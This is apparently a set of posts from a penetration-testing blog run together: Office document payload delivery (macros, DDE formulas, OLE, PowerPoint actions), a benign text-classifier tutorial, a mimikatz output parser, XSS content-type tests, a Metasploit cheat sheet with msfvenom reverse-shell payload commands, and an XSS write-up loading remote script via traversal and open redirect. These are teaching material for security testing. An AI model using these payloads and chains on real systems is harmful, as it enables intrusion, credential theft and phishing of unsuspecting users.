PwnDizzle

There are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.

When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.


Macros

Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.

So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm and dotm, but not docx.

In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:

Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub

A nice real-world macro and OLE example using Empire is linked below:

https://enigma0x3.net/2016/03/15/phishing-with-empire/

Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.


ActiveX Components

Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.

There's a great overview of ActiveX controls at the link below:

https://www.greyhathacker.net/?p=948

The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.


OLE Embedding

After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.

To insert an object select "Insert" -> "Object":


All the user has to do is double click the embedded content and you get a shell.


Powerpoint Actions

Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.



An in-the-wild example that used an action to load an embedded payload is linked below:

https://phishme.com/powerpoint-and-custom-actions/

Dynamic Data Exchange

DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.

The formula below can be used to test in Excel, this works in both xls and xlsx:

=cmd|'/c calc'!A0

Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.

You can also view/edit the DDE XML directly by opening your document with 7zip:

<ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" 
ddeService="cmd" ddeTopic="/c calc">
<ddeItems>
<ddeItem name="A0" advise="1"/>
<ddeItem name="StdDocumentName" ole="1" advise="1"/>
</ddeItems></ddeLink>

A real-world example exploiting this issue can be found below:

https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/’


Filter Bypasses

Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.

To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.



You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.

Two common bypasses include:

• Word doc saved as XML then renamed to doc
• Word doc saved as MHTML then renamed to doc

For Excel formula filter bypass, Excel did used to support an "Evaluate" function so you could spread a command over multiple cells, concatenate and then evaluate (execute) the statement. This was unfortunately removed so can no longer be used maliciously. The other major limitation with Excel is you can't execute Macros directly from formulas (afaik!)


Further Research

• The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?

In this post I'm going to explain how to write a simple NaiveBayes text classifier in Python and provide some example code.

Machine Learning!? Awesome!!1!

My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.

I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.

It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the CountVectorizer parameters you could look at sentences or groups of words.

Building a Classifier

Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:

normal.csv	random.csv
0,apple	1,fdsgsdgfdg
0,banana	1,plicawq
0,orange	1,mncdlppl

In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.

With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.

I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.

The Code

The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
import pandas as pd
from time import time
#Start timer
t0 = time()
#Create classifier and vectorizer
clf = MultinomialNB(alpha=0.1)
vec = CountVectorizer(analyzer='char_wb', ngram_range=(2, 4), min_df=1)
#Read in wordset and vectorize words
#Training data
train_set = pd.concat(pd.read_csv(f, names=["type","word"], nrows=5000) for f in ["normal.csv","random.csv"])
train_types = train_set.type.tolist()
train_words = vec.fit_transform(train_set.word.tolist())
#Test data
test_set = pd.concat(pd.read_csv(f, names=["type","word"], skiprows=5000, nrows=5000) for f in ["normal.csv","random.csv"])
test_types = test_set.type.tolist()
test_words = vec.transform(test_set.word.tolist())
#Train classifier
clf.fit(train_words, train_types)
train_time = time() - t0
print("Training time: %0.3fs" % train_time)
#Use test data to evaluate classifier
print "Accuracy is " + str(clf.score(test_words, test_types))
test_time = time() - train_time - t0
print("Testing time: %0.3fs" % test_time)
#Classify words
testdata = ['xgrdqwlpfrr','apple']
print testdata
print clf.predict(vec.transform(testdata))
predict_time = time() - test_time - train_time - t0
print("Predict time: %0.3fs" % predict_time)

Running the script should give you something like the following:


Scikit Tips

If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.


Final Thoughts

I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.

Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)

Hope you guys have found this useful, any questions or comments, leave a message below.

Pwndizzle out.

Love mimikatz but hate the output? Yeah me too. In this post I'll show you how to parse the output with one simple line.

cat *|tr -d '011円015円' |awk '/Username/ { user=0ドル; getline; domain=0ドル; getline; print user " " domain " " 0ドル}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length(12ドル)>2) print 8ドル "\\" 4ドル ":" 12ドル}'|sort -u

In this post I'll look at which Content-Types and Extensions can actually be used for XSS in modern browsers.


Why does Content-Type and Extension matter?

Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.

To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.
Test #1 - Following Best Practice

In the first test I forced the server to return the correct extension and content-type for each test page.

Content-Type	Extension	Chrome	IE	Firefox
None	None	yes	yes	yes
text/plain	txt	no	no	no
text/html	html	yes	yes	yes
application/javascript	js	no	no	no
application/json	json	no	no	no
application/xml	xml	yes	yes	yes
text/css	css	no	no	no
image/jpeg	jpeg	no	no	no

Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.


Test #2 - Modifying Extension

In the second test I made the server return the correct content-type but forced a .html extension.

Content-Type	Extension	Chrome	IE	Firefox
None	html	yes	yes	yes
text/plain	html	no	no	no
text/html	html	yes	yes	yes
application/javascript	html	no	yes	no
application/json	html	no	no	no
application/xml	html	yes	yes	yes
text/css	html	no	no	no
image/jpeg	html	no	no	no

This test seemed to show that browsers will prioritize the use of the content-type over the extension.


Test #3 - Using a text/html Content-Type

In the third test I used the correct extension for each file but made the server return a text/html content-type.

Content-Type	Extension	Chrome	IE	Firefox
text/html	None	yes	yes	yes
text/html	txt	yes	yes	yes
text/html	html	yes	yes	yes
text/html	js	yes	yes	yes
text/html	json	yes	yes	yes
text/html	xml	yes	yes	yes
text/html	css	yes	yes	yes
text/html	jpeg	yes	no	yes

It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.


Test #4 - Using a text/plain Content-Type

Next I used the correct extension for each file but made the server return a text/plain content-type.

Content-Type	Extension	Chrome	IE	Firefox
text/plain	txt	no	no	no
text/plain	html	no	no	no
text/plain	js	no	no	no
text/plain	json	no	no	no
text/plain	xml	no	no	no
text/plain	css	no	no	no
text/plain	jpeg	no	no	no

When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.


Test #5 - MIME sniffing

In this last test case I accessed a page that had no extension and received no content-type header from the server. This should have caused the browser to fall back on mime sniffing to render the page.

MIME	Content-Type	Extension	Chrome	IE	Firefox
text/plain	None	None	no	yes	no
text/html	None	None	yes	yes	yes
application/javascript	None	None	yes	yes	yes
application/json	None	None	no	yes	no
application/xml	None	None	no	yes	no
text/css	None	None	no	yes	no
image/jpeg	None	None	no	no	no

Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!

Conclusion

Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.

Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)

Pwndizzle out.

This summary is not available. Please click here to view the post.

Command	Description
use auxiliary/scanner/http/dir_scanner	Scan for directories
use auxiliary/scanner/http/jboss_vulnscan	JBoss scan
use exploit/multi/http/jboss_maindeployer	JBoss deploy
use auxiliary/scanner/mssql/mssql_login	MSSQL cred scan
use exploit/windows/mssql/mssql_payload	MSSQL payload
use auxiliary/scanner/mysql/mysql_version	MySQL version scan
use auxiliary/scanner/mysql/mysql_login	MySQL login
use auxiliary/scanner/oracle/oracle_login	Oracle login
use exploit/windows/dcerpc/ms03_026_dcom	eazymode
use exploit/windows/smb/ms06_040_netapi	eazymode
use exploit/windows/smb/ms08_067_netapi	eazymode
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index	eazymode
run post/windows/gather/win_privs	Show privs of current user
use exploit/windows/local/bypassuac (check if x86/64 and set target)	Bypass uac on win7+
load mimikatz -> wdigest	Dump creds
load incongnito -> list_tokens -> impersonate_token	Use tokens
use post/windows/gather/credentials/gpp	GPP
run post/windows/gather/local_admin_search_enum	Test other machines
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe	Standalone meterpreter
use exploit/multi/script/web_delivery	Powershell payload delivery
post/windows/manage/powershell/exec_powershell	Upload and run a PS script through a session
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.1.3.19 LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exe	Generate standalone payload

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.


The Code

The vulnerable page was loaded with a URL something like this:

https://app.test.com/timezone?c=test

And contained Javascript looking something like this:

var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);

Can you spot how to exploit it? :)


In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:

<script src="/js/timezone-js/timezone-data[test].min.js"></script>

So how can we exploit this?


From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:

https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?

But we still have no way to load our own JS...or do we?


From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:

https://app.test.com/timezone?c=/../../../../uploads/file?

Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.


From Redirection to JS

The open redirection was pretty standard something like:

https://app.test.com/accounts/logout/?next=https://badguy.com

Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:

https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:

<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>

Congratulations you've achieved XSS by loading remote JS from traversal and redirection!


The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.

country = country.replace(/[^\w\-]/g, '');

Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.